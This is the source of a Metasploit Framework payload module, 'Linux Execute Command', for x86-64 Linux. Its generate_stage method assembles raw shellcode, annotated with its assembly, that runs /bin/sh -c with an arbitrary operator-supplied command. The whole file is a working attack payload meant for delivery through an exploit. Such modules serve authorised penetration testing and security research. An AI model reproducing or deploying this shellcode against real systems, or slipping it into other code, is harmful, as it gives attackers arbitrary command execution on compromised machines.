metasploit-framework/modules/payloads/singles/linux/x64/exec.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Linux
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Execute Command',
'Version' => '$Revision$',
'Description' => 'Execute an arbitrary command',
'Author' => 'ricky',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86_64))
register_options(
[
OptString.new('CMD', [ true, "The command string to execute" ]),
], self.class)
end
def generate_stage
cmd = (datastore['CMD'] || '') << "\x00"
call = "\xe8" + [cmd.length].pack('V')
payload =
"\x6a\x3b" + # pushq $0x3b
"\x58" + # pop %rax
"\x99" + # cltd
"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
"\x73\x68\x00" + #
"\x53" + # push %rbx
"\x48\x89\xe7" + # mov %rsp,%rdi
"\x68\x2d\x63\x00\x00" + # pushq $0x632d
"\x48\x89\xe6" + # mov %rsp,%rsi
"\x52" + # push %rdx
call + # callq 2d <run>
cmd + # .ascii "cmd\0"
"\x56" + # push %rsi
"\x57" + # push %rdi
"\x48\x89\xe6" + # mov %rsp,%rsi
"\x0f\x05" # syscall
end
end